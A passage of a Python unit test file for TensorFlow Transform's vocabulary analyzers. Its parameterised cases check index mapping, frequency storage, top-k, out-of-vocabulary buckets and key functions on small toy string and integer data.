tf.io.FixedLenFeature([], tf.string), 'b': tf.io.FixedLenFeature([], tf.string), 'c': tf.io.FixedLenFeature([], tf.string) }) vocab_filename = 'test_compute_and_apply_vocabulary' def preprocessing_fn(inputs): deferred_vocab_and_filename = tft.vocabulary( tf.concat([inputs['a'], inputs['b'], inputs['c']], 0), vocab_filename=vocab_filename, file_format=self._VocabFormat()) return { 'index_a': tft.apply_vocabulary( inputs['a'], deferred_vocab_and_filename, file_format=self._VocabFormat()), 'index_b': tft.apply_vocabulary( inputs['b'], deferred_vocab_and_filename, file_format=self._VocabFormat()) } expected_vocab = [ b'hello', b'aaaaa', b'world', b'goodbye', b'good', b'bbbbb', b' ', b'\n', b'' ] empty_index = len(expected_vocab) - 1 if self._VocabFormat() == 'text': expected_vocab = expected_vocab[:-2] empty_index = -1 max_index = len(expected_vocab) - 1 expected_data = [ # For tied frequencies, larger (lexicographic) items come first. { 'index_a': 0, # hello 'index_b': 2 # world }, { 'index_a': 4, # good 'index_b': empty_index # '' }, { 'index_a': 3, # goodbye 'index_b': 0 # hello }, { 'index_a': 6, # ' ' 'index_b': 1 # aaaaa }, ] expected_metadata = tft_unit.metadata_from_feature_spec( { 'index_a': tf.io.FixedLenFeature([], tf.int64), 'index_b': tf.io.FixedLenFeature([], tf.int64), }, { 'index_a': schema_pb2.IntDomain( min=-1, max=max_index, is_categorical=True), 'index_b': schema_pb2.IntDomain( min=-1, max=max_index, is_categorical=True), }) self.assertAnalyzeAndTransformResults( input_data, input_metadata, preprocessing_fn, expected_data, expected_metadata, expected_vocab_file_contents={vocab_filename: expected_vocab}) _EMPTY_VOCABULARY_PARAMS = tft_unit.cross_named_parameters([ dict( testcase_name='_string', x_data=['a', 'b'], x_feature_spec=tf.io.FixedLenFeature([], tf.string)), dict( testcase_name='_int64', x_data=[1, 2], x_feature_spec=tf.io.FixedLenFeature([], tf.int64)), ], [ dict( testcase_name='empty_vocabulary', index_data=[-1, -1], index_feature_spec=tf.io.FixedLenFeature([], tf.int64), index_domain=schema_pb2.IntDomain(min=-1, max=0, is_categorical=True), frequency_threshold=5), ]) @tft_unit.named_parameters(*([ dict( testcase_name='_string_feature_with_label_top_2', x_data=[ b'hello', b'hello', b'hello', b'goodbye', b'aaaaa', b'aaaaa', b'goodbye', b'goodbye', b'aaaaa', b'aaaaa', b'goodbye', b'goodbye' ], x_feature_spec=tf.io.FixedLenFeature([], tf.string), label_data=[1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0], label_feature_spec=tf.io.FixedLenFeature([], tf.int64), index_data=[-1, -1, -1, 0, 1, 1, 0, 0, 0, 1, 1, 0], index_feature_spec=tf.io.FixedLenFeature([], tf.int64), index_domain=schema_pb2.IntDomain(min=-1, max=1, is_categorical=True), top_k=2), dict( testcase_name='_string_feature_with_label_top_1', x_data=[ b'hello', b'hello', b'hello', b'goodbye', b'aaaaa', b'aaaaa', b'goodbye', b'goodbye', b'aaaaa', b'aaaaa', b'goodbye', b'goodbye' ], x_feature_spec=tf.io.FixedLenFeature([], tf.string), label_data=[1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0], label_feature_spec=tf.io.FixedLenFeature([], tf.int64), index_data=[-1, -1, -1, 0, -1, -1, 0, 0, 0, -1, -1, 0], index_feature_spec=tf.io.FixedLenFeature([], tf.int64), index_domain=schema_pb2.IntDomain(min=-1, max=0, is_categorical=True), top_k=1), dict( testcase_name='_int_feature_with_label_top_2', x_data=[3, 3, 3, 1, 2, 2, 1, 1, 2, 2, 1, 1], x_feature_spec=tf.io.FixedLenFeature([], tf.int64), label_data=[1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0], label_feature_spec=tf.io.FixedLenFeature([], tf.int64), index_data=[-1, -1, -1, 0, 1, 1, 0, 0, 0, 1, 1, 0], index_feature_spec=tf.io.FixedLenFeature([], tf.int64), index_domain=schema_pb2.IntDomain(min=-1, max=1, is_categorical=True), top_k=2), dict( testcase_name='_varlen_feature', x_data=[[b'world', b'hello', b'hello'], [b'hello', b'world', b'foo'], [], [b'hello']], x_feature_spec=tf.io.VarLenFeature(tf.string), index_data=[[1, 0, 0], [0, 1, -99], [], [0]], index_feature_spec=tf.io.VarLenFeature(tf.int64), index_domain=schema_pb2.IntDomain( min=-99, max=1, is_categorical=True), default_value=-99, top_k=2), dict( testcase_name='_vector_feature', x_data=[[b'world', b'hello', b'hello'], [b'hello', b'world', b'moo'], [b'hello', b'hello', b'foo'], [b'world', b'foo', b'moo']], x_feature_spec=tf.io.FixedLenFeature([3], tf.string), index_data=[[1, 0, 0], [0, 1, -99], [0, 0, -99], [1, -99, -99]], index_feature_spec=tf.io.FixedLenFeature([3], tf.int64), index_domain=schema_pb2.IntDomain( min=-99, max=1, is_categorical=True), default_value=-99, top_k=2), dict( testcase_name='_varlen_feature_with_labels', x_data=[[b'hello', b'world', b'bye', b'moo'], [b'world', b'moo', b'foo'], [b'hello', b'foo', b'moo'], [b'moo']], x_feature_spec=tf.io.VarLenFeature(tf.string), label_data=[1, 0, 1, 0], label_feature_spec=tf.io.FixedLenFeature([], tf.int64), index_data=[[0, -99, 1, -99], [-99, -99, -99], [0, -99, -99], [-99]], index_feature_spec=tf.io.VarLenFeature(tf.int64), index_domain=schema_pb2.IntDomain( min=-99, max=1, is_categorical=True), default_value=-99, top_k=2), dict( testcase_name='_vector_feature_with_labels', x_data=[[b'world', b'hello', b'hi'], [b'hello', b'world', b'moo'], [b'hello', b'bye', b'foo'], [b'world', b'foo', b'moo']], x_feature_spec=tf.io.FixedLenFeature([3], tf.string), label_data=[1, 0, 1, 0], label_feature_spec=tf.io.FixedLenFeature([], tf.int64), index_data=[[-99, -99, 1], [-99, -99, 0], [-99, -99, -99], [-99, -99, 0]], index_feature_spec=tf.io.FixedLenFeature([3], tf.int64), index_domain=schema_pb2.IntDomain( min=-99, max=1, is_categorical=True), default_value=-99, top_k=2), dict( testcase_name='_varlen_integer_feature_with_labels', x_data=[[0, 1, 3, 2], [1, 2, 4], [0, 4, 2], [2]], x_feature_spec=tf.io.VarLenFeature(tf.int64), label_data=[1, 0, 1, 0], label_feature_spec=tf.io.FixedLenFeature([], tf.int64), index_data=[[0, -99, 1, -99], [-99, -99, -99], [0, -99, -99], [-99]], index_feature_spec=tf.io.VarLenFeature(tf.int64), index_domain=schema_pb2.IntDomain( min=-99, max=1, is_categorical=True), default_value=-99, top_k=2), dict( testcase_name='_varlen_feature_with_some_empty_feature_values', x_data=[[b'world', b'hello', b'hi', b'moo'], [], [b'world', b'hello', b'foo'], []], x_feature_spec=tf.io.VarLenFeature(tf.string), label_data=[1, 0, 1, 0], label_feature_spec=tf.io.FixedLenFeature([], tf.int64), index_data=[[0, 1, -99, -99], [], [0, 1, -99], []], index_feature_spec=tf.io.VarLenFeature(tf.int64), index_domain=schema_pb2.IntDomain( min=-99, max=1, is_categorical=True), default_value=-99, top_k=2), dict( testcase_name='_varlen_with_multiclass_labels', x_data=[[1, 2, 3, 5], [1, 4, 5], [1, 2], [1, 2], [1, 3, 5], [1, 4, 3], [1, 3]], x_feature_spec=tf.io.VarLenFeature(tf.int64), label_data=[1, 0, 1, 1, 4, 5, 4], label_feature_spec=tf.io.FixedLenFeature([], tf.int64), index_data=[[-1, 0, 2, 3], [-1, 1, 3], [-1, 0], [-1, 0], [-1, 2, 3], [-1, 1, 2], [-1, 2]], index_feature_spec=tf.io.VarLenFeature(tf.int64), index_domain=schema_pb2.IntDomain(min=-1, max=3, is_categorical=True), top_k=4), dict( testcase_name='_labels_and_weights', x_data=[ b'hello', b'hello', b'hello', b'goodbye', b'aaaaa', b'aaaaa', b'goodbye', b'goodbye', b'aaaaa', b'aaaaa', b'goodbye', b'goodbye' ], x_feature_spec=tf.io.FixedLenFeature([], tf.string), label_data=[1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0], label_feature_spec=tf.io.FixedLenFeature([], tf.int64), weight_data=[ 0.3, 0.4, 0.3, 1.2, 0.6, 0.7, 1.0, 1.0, 0.6, 0.7, 1.0, 1.0 ], weight_feature_spec=tf.io.FixedLenFeature([], tf.float32), index_data=[2, 2, 2, 1, 0, 0, 1, 1, 0, 0, 1, 1], index_feature_spec=tf.io.FixedLenFeature([], tf.int64), index_domain=schema_pb2.IntDomain(min=-1, max=2, is_categorical=True)), dict( testcase_name='_string_feature_with_weights', x_data=[ b'hello', b'world', b'goodbye', b'aaaaa', b'aaaaa', b'goodbye' ], x_feature_spec=tf.io.FixedLenFeature([], tf.string), weight_data=[1.0, .5, 1.0, .26, .25, 1.5], weight_feature_spec=tf.io.FixedLenFeature([], tf.float32), index_data=[1, 3, 0, 2, 2, 0], index_feature_spec=tf.io.FixedLenFeature([], tf.int64), index_domain=schema_pb2.IntDomain(min=-1, max=3, is_categorical=True)), dict( testcase_name='_int64_feature_with_weights', x_data=[2, 1, 3, 4, 4, 3], x_feature_spec=tf.io.FixedLenFeature([], tf.int64), weight_data=[1.0, .5, 1.0, .26, .25, 1.5], weight_feature_spec=tf.io.FixedLenFeature([], tf.float32), index_data=[1, 3, 0, 2, 2, 0], index_feature_spec=tf.io.FixedLenFeature([], tf.int64), index_domain=schema_pb2.IntDomain(min=-1, max=3, is_categorical=True)), dict( testcase_name='_whitespace_newlines_and_empty_strings_text', x_data=[ b'hello', b'world', b'hello', b'hello', b'goodbye', b'world', b'aaaaa', b' ', b'', b'\n', b'hi \n ho \n', '\r' ], x_feature_spec=tf.io.FixedLenFeature([], tf.string), # The empty string and strings containing newlines map to default # value because the vocab cannot contain them. index_data=[0, 1, 0, 0, 2, 1, 3, 4, -1, -1, -1, -1], index_feature_spec=tf.io.FixedLenFeature([], tf.int64), index_domain=schema_pb2.IntDomain(min=-1, max=4, is_categorical=True), vocab_filename='my_vocab', expected_vocab_file_contents={ 'my_vocab': [b'hello', b'world', b'goodbye', b'aaaaa', b' '] }, required_format='text'), dict( testcase_name='_whitespace_newlines_and_empty_strings_tfrecord', x_data=[ b'hello', b'world', b'hello', b'hello', b'goodbye', b'world', b'aaaaa', b' ', b'', b'\n', b'hi \n ho \n', b'\r' ], x_feature_spec=tf.io.FixedLenFeature([], tf.string), index_data=[0, 0, 0, 1, 1, 8, 3, 2, 4, 5, 6, 7], index_feature_spec=tf.io.FixedLenFeature([], tf.int64), index_domain=schema_pb2.IntDomain(min=-1, max=8, is_categorical=True), vocab_filename='my_vocab', expected_vocab_file_contents={ 'my_vocab': [ b'hello', b'world', b'hi \n ho \n', b'goodbye', b'aaaaa', b' ', b'\r', b'\n', b'' ] }, required_format='tfrecord_gzip'), dict( testcase_name='_whitespace_newlines_empty_oov_buckets_text', x_data=[ b'hello', b'world', b'hello', b'hello', b'goodbye', b'world', b'aaaaa', b' ', b'', b'\n', b'hi \n ho \n', '\r' ], x_feature_spec=tf.io.FixedLenFeature([], tf.string), index_data=[0, 1, 0, 0, 2, 1, 3, 4, 5, 5, 5, 5], index_feature_spec=tf.io.FixedLenFeature([], tf.int64), index_domain=schema_pb2.IntDomain(min=0, max=5, is_categorical=True), num_oov_buckets=1, vocab_filename='my_vocab', expected_vocab_file_contents={ 'my_vocab': [b'hello', b'world', b'goodbye', b'aaaaa', b' '] }, required_format='text'), dict( testcase_name='_whitespace_newlines_empty_oov_buckets_tfrecord', x_data=[ b'hello', b'world', b'hello', b'hello', b'goodbye', b'world', b'aaaaa', b' ', b'', b'\n', b'hi \n ho \n', '\r' ], x_feature_spec=tf.io.FixedLenFeature([], tf.string), index_data=[0, 0, 1, 0, 1, 8, 3, 2, 4, 5, 6, 7], index_feature_spec=tf.io.FixedLenFeature([], tf.int64), index_domain=schema_pb2.IntDomain(min=0, max=9, is_categorical=True), num_oov_buckets=1, vocab_filename='my_vocab', expected_vocab_file_contents={ 'my_vocab': [ b'hello', b'world', b'hi \n ho \n', b'goodbye', b'aaaaa', b' ', b'\r', b'\n', b'' ] }, required_format='tfrecord_gzip'), dict( testcase_name='_positive_and_negative_integers', x_data=[13, 14, 13, 13, 12, 14, 11, 10, 10, -10, -10, -20], x_feature_spec=tf.io.FixedLenFeature([], tf.int64), index_data=[0, 1, 0, 0, 4, 1, 5, 2, 2, 3, 3, 6], index_feature_spec=tf.io.FixedLenFeature([], tf.int64), index_domain=schema_pb2.IntDomain(min=-1, max=6, is_categorical=True), vocab_filename='my_vocab', expected_vocab_file_contents={ 'my_vocab': [b'13', b'14', b'10', b'-10', b'12', b'11', b'-20'] }), dict( testcase_name='_rank_2', x_data=[[[b'some', b'say'], [b'the', b'world']], [[b'will', b'end'], [b'in', b'fire']], [[b'some', b'say'], [b'in', b'ice']]], x_feature_spec=tf.io.FixedLenFeature([2, 2], tf.string), index_data=[[[0, 1], [5, 3]], [[4, 8], [2, 7]], [[0, 1], [2, 6]]], index_feature_spec=tf.io.FixedLenFeature([2, 2], tf.int64), index_domain=schema_pb2.IntDomain(min=-1, max=8, is_categorical=True)), dict( testcase_name='_top_k', x_data=[[b'hello', b'hello', b'world'], [b'hello', b'goodbye', b'world'], [b'hello', b'goodbye', b'foo']], x_feature_spec=tf.io.VarLenFeature(tf.string), index_data=[[0, 0, 1], [0, -99, 1], [0, -99, -99]], index_feature_spec=tf.io.VarLenFeature(tf.int64), index_domain=schema_pb2.IntDomain( min=-99, max=1, is_categorical=True), default_value=-99, top_k=2), dict( testcase_name='_top_k_specified_as_str', x_data=[[b'hello', b'hello', b'world'], [b'hello', b'goodbye', b'world'], [b'hello', b'goodbye', b'foo']], x_feature_spec=tf.io.VarLenFeature(tf.string), index_data=[[0, 0, 1], [0, -9, 1], [0, -9, -9]], index_feature_spec=tf.io.VarLenFeature(tf.int64), index_domain=schema_pb2.IntDomain(min=-9, max=1, is_categorical=True), default_value=-9, top_k='2'), dict( testcase_name='_frequency_threshold', x_data=[[b'hello', b'hello', b'world'], [b'hello', b'goodbye', b'world'], [b'hello', b'goodbye', b'foo']], x_feature_spec=tf.io.VarLenFeature(tf.string), index_data=[[0, 0, 1], [0, 2, 1], [0, 2, -99]], index_feature_spec=tf.io.VarLenFeature(tf.int64), index_domain=schema_pb2.IntDomain( min=-99, max=2, is_categorical=True), default_value=-99, frequency_threshold=2), dict( testcase_name='_frequency_threshold_specified_with_str', x_data=[[b'hello', b'hello', b'world'], [b'hello', b'goodbye', b'world'], [b'hello', b'goodbye', b'foo']], x_feature_spec=tf.io.VarLenFeature(tf.string), index_data=[[0, 0, 1], [0, 2, 1], [0, 2, -9]], index_feature_spec=tf.io.VarLenFeature(tf.int64), index_domain=schema_pb2.IntDomain(min=-9, max=2, is_categorical=True), default_value=-9, frequency_threshold='2'), dict( testcase_name='_empty_vocabulary_from_high_frequency_threshold', x_data=[[b'hello', b'hello', b'world'], [b'hello', b'goodbye', b'world'], [b'hello', b'goodbye', b'foo']], x_feature_spec=tf.io.VarLenFeature(tf.string), index_data=[[-99, -99, -99], [-99, -99, -99], [-99, -99, -99]], index_feature_spec=tf.io.VarLenFeature(tf.int64), index_domain=schema_pb2.IntDomain( min=-99, max=0, is_categorical=True), default_value=-99, frequency_threshold=77), dict( testcase_name='_top_k_and_oov', x_data=[[b'hello', b'hello', b'world', b'world'], [b'hello', b'tarkus', b'toccata'], [b'hello', b'goodbye', b'foo']], x_feature_spec=tf.io.VarLenFeature(tf.string), # Generated vocab (ordered by frequency, then value) should be: # ["hello", "world", "goodbye", "foo", "tarkus", "toccata"]. After # applying top_k =1 this becomes ["hello"] plus three OOV buckets. # The specific output values here depend on the hash of the words, # and the test will break if the hash changes. index_data=[[0, 0, 2, 2], [0, 3, 1], [0, 2, 1]], index_feature_spec=tf.io.VarLenFeature(tf.int64), index_domain=schema_pb2.IntDomain(min=0, max=3, is_categorical=True), default_value=-99, top_k=1, num_oov_buckets=3), dict( testcase_name='_key_fn', x_data=[['a_X_1', 'a_X_1', 'a_X_2', 'b_X_1', 'b_X_2'], ['a_X_1', 'a_X_1', 'a_X_2', 'a_X_2'], ['b_X_2']], x_feature_spec=tf.io.VarLenFeature(tf.string), index_data=[[0, 0, 1, -99, 2], [0, 0, 1, 1], [2]], index_feature_spec=tf.io.VarLenFeature(tf.int64), index_domain=schema_pb2.IntDomain( min=-99, max=2, is_categorical=True), coverage_top_k=1, default_value=-99, key_fn=lambda s: s.split(b'_X_')[0], frequency_threshold=3), dict( testcase_name='_key_fn_and_multi_coverage_top_k', x_data=[['a_X_1', 'a_X_1', 'a_X_2', 'b_X_1', 'b_X_2'], ['a_X_1', 'a_X_1', 'a_X_2', 'a_X_2', 'a_X_3'], ['b_X_2']], x_feature_spec=tf.io.VarLenFeature(tf.string), index_data=[[0, 0, 1, 3, 2], [0, 0, 1, 1, -99], [2]], index_feature_spec=tf.io.VarLenFeature(tf.int64), index_domain=schema_pb2.IntDomain( min=-99, max=3, is_categorical=True), coverage_top_k=2, default_value=-99, key_fn=lambda s: s.split(b'_X_')[0], frequency_threshold=300), dict( testcase_name='_key_fn_and_top_k', x_data=[['a_X_1', 'a_X_1', 'a_X_2', 'b_X_1', 'b_X_2'], ['a_X_1', 'a_X_1', 'a_X_2', 'a_X_2'], ['b_X_2', 'b_X_2', 'b_X_2', 'b_X_2', 'c_X_1']], x_feature_spec=tf.io.VarLenFeature(tf.string), index_data=[[1, 1, -99, -99, 0], [1, 1, -99, -99], [0, 0, 0, 0, 2]], index_feature_spec=tf.io.VarLenFeature(tf.int64), index_domain=schema_pb2.IntDomain( min=-99, max=2, is_categorical=True), coverage_top_k=1, default_value=-99, key_fn=lambda s: s.split(b'_X_')[0], top_k=2), dict( testcase_name='_key_fn_multi_coverage_top_k', x_data=[ ['0_X_a', '0_X_a', '5_X_a', '6_X_a', '6_X_a', '0_X_a'], ['0_X_a', '2_X_a', '2_X_a', '2_X_a', '0_X_a', '5_X_a'], ['1_X_b', '1_X_b', '3_X_b', '3_X_b', '0_X_b', '1_X_b', '1_X_b'] ], x_feature_spec=tf.io.VarLenFeature(tf.string), index_data=[[0, 0, -99, -99, -99, 0], [0, 2, 2, 2, 0, -99], [1, 1, 3, 3, -99, 1, 1]], index_feature_spec=tf.io.VarLenFeature(tf.int64), index_domain=schema_pb2.IntDomain( min=-99, max=3, is_categorical=True), coverage_top_k=2, default_value=-99, key_fn=lambda s: s.split(b'_X_')[1], frequency_threshold=4), dict( testcase_name='_key_fn_and_labels', x_data=[ 'aaa', 'aaa', 'aaa', 'aab', 'aba', 'aba', 'aab', 'aab', 'aba', 'abc', 'abc', 'aab' ], x_feature_spec=tf.io.FixedLenFeature([], tf.string), label_data=[1, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0], label_feature_spec=tf.io.FixedLenFeature([], tf.int64), index_data=[0, 0, 0, -1, -1, -1, -1, -1, -1, 1, 1, -1], index_feature_spec=tf.io.FixedLenFeature([], tf.int64), index_domain=schema_pb2.IntDomain(min=-1, max=1, is_categorical=True), coverage_top_k=1, key_fn=lambda s: s[:2], frequency_threshold=3), dict( testcase_name='_key_fn_and_weights', x_data=['xa', 'xa', 'xb', 'ya', 'yb', 'yc'], x_feature_spec=tf.io.FixedLenFeature([], tf.string), weight_data=[1.0, 0.5, 3.0, 0.6, 0.25, 0.5], weight_feature_spec=tf.io.FixedLenFeature([], tf.float32), index_data=[1, 1, 0, -1, -1, -1], index_feature_spec=tf.io.FixedLenFeature([], tf.int64), index_domain=schema_pb2.IntDomain(min=-1, max=1, is_categorical=True), coverage_top_k=1, key_fn=lambda s: s[0], frequency_threshold=1.5, coverage_frequency_threshold=1), ] + _EMPTY_VOCABULARY_PARAMS)) def testComputeAndApplyVocabulary(self, x_data, x_feature_spec, index_data, index_feature_spec, index_domain, label_data=None, label_feature_spec=None, weight_data=None, weight_feature_spec=None, expected_vocab_file_contents=None, required_format=None, **kwargs): """Test tft.compute_and_apply_vocabulary with various inputs.""" if required_format is not None and required_format != self._VocabFormat(): raise tft_unit.SkipTest('Test only applicable to format: {}.'.format( self._VocabFormat())) input_data = [{'x': x} for x in x_data] input_feature_spec = {'x': x_feature_spec} expected_data = [{'index': index} for index in index_data] expected_feature_spec = {'index': index_feature_spec} expected_domains = {'index': index_domain} if label_data is not None: for idx, label in enumerate(label_data): input_data[idx]['label'] = label input_feature_spec['label'] = label_feature_spec if weight_data is not None: for idx, weight in enumerate(weight_data): input_data[idx]['weights'] = weight input_feature_spec['weights'] = weight_feature_spec input_metadata = tft_unit.metadata_from_feature_spec(input_feature_spec) expected_metadata = tft_unit.metadata_from_feature_spec( expected_feature_spec, expected_domains) def preprocessing_fn(inputs): x = inputs['x'] labels = inputs.get('label') weights = inputs.get('weights') index = tft.compute_and_apply_vocabulary( x, labels=labels, weights=weights, file_format=self._VocabFormat(), **kwargs) return {'index': index} self.assertAnalyzeAndTransformResults( input_data, input_metadata, preprocessing_fn, expected_data, expected_metadata, expected_vocab_file_contents=expected_vocab_file_contents) def testSparseComputeAndApplyVocabulary(self): feature_spec = { 'x': tf.io.SparseFeature(['idx0', 'idx1'], 'val', tf.string, [2, 3]) } input_metadata = tft_unit.metadata_from_feature_spec(feature_spec) input_data = [ { 'val': ['hello'], 'idx0': [0], 'idx1': [0] }, { 'val': ['world'], 'idx0': [1], 'idx1': [1] }, { 'val': ['hello', 'goodbye'], 'idx0': [0, 1], 'idx1': [1, 2] }, { 'val': ['hello', 'goodbye', ' '], 'idx0': [0, 1, 1], 'idx1': [0, 1, 2] }, ] expected_data = [{ 'index$sparse_indices_0': [0], 'index$sparse_indices_1': [0], 'index$sparse_values': [0], }, { 'index$sparse_indices_0': [1], 'index$sparse_indices_1': [1], 'index$sparse_values': [2], }, { 'index$sparse_indices_0': [0, 1], 'index$sparse_indices_1': [1, 2], 'index$sparse_values': [0, 1], }, { 'index$sparse_indices_0': [0, 1, 1], 'index$sparse_indices_1': [0, 1, 2], 'index$sparse_values': [0, 1, 3], }] expected_vocab_file_contents = { 'my_vocab': [b'hello', b'goodbye', b'world', b' '] } def preprocessing_fn(inputs): index = tft.compute_and_apply_vocabulary( inputs['x'], file_format=self._VocabFormat(), vocab_filename='my_vocab') return {'index': index} self.assertAnalyzeAndTransformResults( input_data, input_metadata, preprocessing_fn, expected_data, expected_vocab_file_contents=expected_vocab_file_contents) # Example on how to use the vocab frequency as part of the transform # function. def testCreateVocabWithFrequency(self): input_data = [ {'a': 'hello', 'b': 'world', 'c': 'aaaaa'}, {'a': 'good', 'b': '', 'c': 'hello'}, {'a': 'goodbye', 'b': 'hello', 'c': '\n'}, {'a': '_', 'b': 'aaaaa', 'c': 'bbbbb'} ] input_metadata = tft_unit.metadata_from_feature_spec({ 'a': tf.io.FixedLenFeature([], tf.string), 'b': tf.io.FixedLenFeature([], tf.string), 'c': tf.io.FixedLenFeature([], tf.string) }) vocab_filename = 'test_vocab_with_frequency' def preprocessing_fn(inputs): deferred_vocab_and_filename = tft.vocabulary( tf.concat([inputs['a'], inputs['b'], inputs['c']], 0), vocab_filename=vocab_filename, store_frequency=True, file_format=self._VocabFormat()) def _make_table_initializer(filename_tensor, is_frequency_value): if self._VocabFormat() == 'text': return tf.lookup.TextFileInitializer( filename=filename_tensor, key_dtype=tf.string, key_index=1, value_dtype=tf.int64, value_index=(0 if is_frequency_value else tf.lookup.TextFileIndex.LINE_NUMBER), delimiter=' ') elif self._VocabFormat() == 'tfrecord_gzip': return tft.tf_utils.make_tfrecord_vocabulary_lookup_initializer( filename_tensor, return_indicator_as_value=is_frequency_value, has_indicator=True) def _apply_vocab(y, deferred_vocab_filename_tensor): initializer = _make_table_initializer(deferred_vocab_filename_tensor, False) table = tf.lookup.StaticHashTable(initializer, default_value=-1) table_size = table.size() return table.lookup(y), table_size def _apply_frequency(y, deferred_vocab_filename_tensor): initializer = _make_table_initializer(deferred_vocab_filename_tensor, True) table = tf.lookup.StaticHashTable(initializer, default_value=-1) return table.lookup(y), table.size() return { 'index_a': tft.apply_vocabulary( inputs['a'], deferred_vocab_and_filename, lookup_fn=_apply_vocab, file_format=self._VocabFormat()), 'frequency_a': tft.apply_vocabulary( inputs['a'], deferred_vocab_and_filename, lookup_fn=_apply_frequency, file_format=self._VocabFormat()), 'index_b': tft.apply_vocabulary( inputs['b'], deferred_vocab_and_filename, lookup_fn=_apply_vocab, file_format=self._VocabFormat()), 'frequency_b': tft.apply_vocabulary( inputs['b'], deferred_vocab_and_filename, lookup_fn=_apply_frequency, file_format=self._VocabFormat()), } expected_vocab = [(b'hello', 3), (b'aaaaa', 2), (b'world', 1), (b'goodbye', 1), (b'good', 1), (b'bbbbb', 1), (b'_', 1), (b'\n', 1), (b'', 1)] if self._VocabFormat() == 'text': expected_vocab = expected_vocab[:-2] empty_index = -1 empty_frequency = -1 else: empty_index = 8 empty_frequency = 1 expected_data = [ # For tied frequencies, larger (lexicographic) items come first. { 'index_a': 0, 'frequency_a': 3, 'index_b': 2, 'frequency_b': 1 }, { 'index_a': 4, 'frequency_a': 1, 'index_b': empty_index, 'frequency_b': empty_frequency }, { 'index_a': 3, 'frequency_a': 1, 'index_b': 0, 'frequency_b': 3 }, { 'index_a': 6, 'frequency_a': 1, 'index_b': 1, 'frequency_b': 2 } ] size = len(expected_vocab) - 1 expected_metadata = tft_unit.metadata_from_feature_spec( { 'index_a': tf.io.FixedLenFeature([], tf.int64), 'index_b': tf.io.FixedLenFeature([], tf.int64), 'frequency_a': tf.io.FixedLenFeature([], tf.int64), 'frequency_b': tf.io.FixedLenFeature([], tf.int64), }, { 'index_a': schema_pb2.IntDomain(min=-1, max=size, is_categorical=True), 'index_b': schema_pb2.IntDomain(min=-1, max=size, is_categorical=True), 'frequency_a': schema_pb2.IntDomain(min=-1, max=size, is_categorical=True), 'frequency_b': schema_pb2.IntDomain(min=-1, max=size, is_categorical=True), }) self.assertAnalyzeAndTransformResults( input_data, input_metadata, preprocessing_fn, expected_data, expected_metadata, expected_vocab_file_contents={vocab_filename: expected_vocab}) def testVocabularyAnalyzerWithTokenization(self): def preprocessing_fn(inputs): return { 'index': tft.compute_and_apply_vocabulary( tf.compat.v1.strings.split(inputs['a']), file_format=self._VocabFormat(), vocab_filename='my_vocab') } input_data = [{'a': 'hello hello world'}, {'a': 'hello goodbye world'}] input_metadata = tft_unit.metadata_from_feature_spec( {'a': tf.io.FixedLenFeature([], tf.string)}) expected_data = [{'index': [0, 0, 1]}, {'index': [0, 2, 1]}] expected_metadata = tft_unit.metadata_from_feature_spec({ 'index': tf.io.VarLenFeature(tf.int64), }, { 'index': schema_pb2.IntDomain(min=-1, max=2, is_categorical=True), }) expected_vocabulary = {'my_vocab': [b'hello', b'world', b'goodbye']} self.assertAnalyzeAndTransformResults( input_data, input_metadata, preprocessing_fn, expected_data, expected_metadata=expected_metadata, expected_vocab_file_contents=expected_vocabulary) def testVocabularyWithFrequency(self): outfile = 'vocabulary_with_frequency' def preprocessing_fn(inputs): # Force the analyzer to be executed, and store the frequency file as a # side-effect. _ = tft.vocabulary( inputs['a'], vocab_filename=outfile, store_frequency=True, file_format=self._VocabFormat()) _ = tft.vocabulary( inputs['a'], store_frequency=True, file_format=self._VocabFormat()) _ = tft.vocabulary( inputs['b'], store_frequency=True, file_format=self._VocabFormat()) # The following must not produce frequency output, just the vocab words. _ = tft.vocabulary(inputs['b'], file_format=self._VocabFormat()) a_int = tft.compute_and_apply_vocabulary( inputs['a'], file_format=self._VocabFormat()) # Return input unchanged, this preprocessing_fn is a no-op except for # computing uniques. return {'a_int': a_int} input_metadata = tft_unit.metadata_from_feature_spec({ 'a': tf.io.FixedLenFeature([], tf.string), 'b': tf.io.FixedLenFeature([], tf.string) }) tft_tmp_dir = os.path.join(self.get_temp_dir(), 'temp_dir') transform_fn_dir = os.path.join(self.get_temp_dir(), 'export_transform_fn') with beam_impl.Context(temp_dir=tft_tmp_dir): with self._makeTestPipeline() as pipeline: input_data = pipeline | beam.Create([ {'a': 'hello', 'b': 'hi'}, {'a': 'world', 'b': 'ho ho'}, {'a': 'hello', 'b': 'ho ho'}, ]) transform_fn = ( (input_data, input_metadata) | beam_impl.AnalyzeDataset(preprocessing_fn)) _ = transform_fn | transform_fn_io.WriteTransformFn(transform_fn_dir) self.assertTrue(os.path.isdir(tft_tmp_dir)) tft_output = tft.TFTransformOutput(transform_fn_dir) assets_path = os.path.join(tft_output.transform_savedmodel_dir, tf.saved_model.ASSETS_DIRECTORY) self.assertTrue(os.path.isdir(assets_path)) self.assertEqual([b'2 hello', b'1 world'], tft_output.vocabulary_by_name(outfile)) self.assertEqual( [b'2 hello', b'1 world'], tft_output.vocabulary_by_name('vocab_frequency_vocabulary_1')) self.assertEqual( [b'2 ho ho', b'1 hi'], tft_output.vocabulary_by_name('vocab_frequency_vocabulary_2')) self.assertEqual([b'ho ho', b'hi'], tft_output.vocabulary_by_name('vocab_vocabulary_3')) self.assertEqual([b'hello', b'world'], tft_output.vocabulary_by_name( 'vocab_compute_and_apply_vocabulary_vocabulary')) def testVocabularyWithKeyFnAndFrequency(self): def key_fn(string): return string.split(b'_X_')[1] outfile = 'vocabulary_with_frequency' def preprocessing_fn(inputs): # Force the analyzer to be executed, and store the frequency file as a # side-effect. _ = tft.vocabulary( tf.compat.v1.strings.split(inputs['a']), coverage_top_k=1, key_fn=key_fn, frequency_threshold=4, vocab_filename=outfile, store_frequency=True, file_format=self._VocabFormat()) _ = tft.vocabulary( tf.compat.v1.strings.split(inputs['a']), coverage_top_k=1, key_fn=key_fn, frequency_threshold=4, store_frequency=True, file_format=self._VocabFormat()) a_int = tft.compute_and_apply_vocabulary( tf.compat.v1.strings.split(inputs['a']), coverage_top_k=1, key_fn=key_fn, frequency_threshold=4, file_format=self._VocabFormat()) # Return input unchanged, this preprocessing_fn is a no-op except for # computing uniques. return {'a_int': a_int} input_metadata = tft_unit.metadata_from_feature_spec( 